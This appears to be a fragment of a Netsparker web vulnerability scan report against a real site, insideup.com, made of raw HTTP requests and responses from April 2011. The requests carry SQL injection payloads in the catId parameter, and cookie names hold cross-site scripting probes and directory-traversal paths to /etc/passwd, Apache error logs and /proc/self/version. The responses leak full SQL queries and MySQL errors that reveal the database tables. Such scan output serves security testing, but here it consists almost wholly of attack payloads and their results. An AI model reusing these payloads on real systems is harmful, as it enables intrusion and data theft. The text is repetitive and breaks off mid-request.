User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:27 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=iig5diisqul3olm4irsljndr42; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lgds00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/phsy00/project.php

/ppc/leadflow/phsy00/project.php

http://www.insideup.com/ppc/leadflow/phsy00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/phsy00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:23:50 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=livvdcbe19llto6escv9d5ssf3; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/meac00/project.php

/ppc/leadflow/meac00/project.php

http://www.insideup.com/ppc/leadflow/meac00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/meac00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; 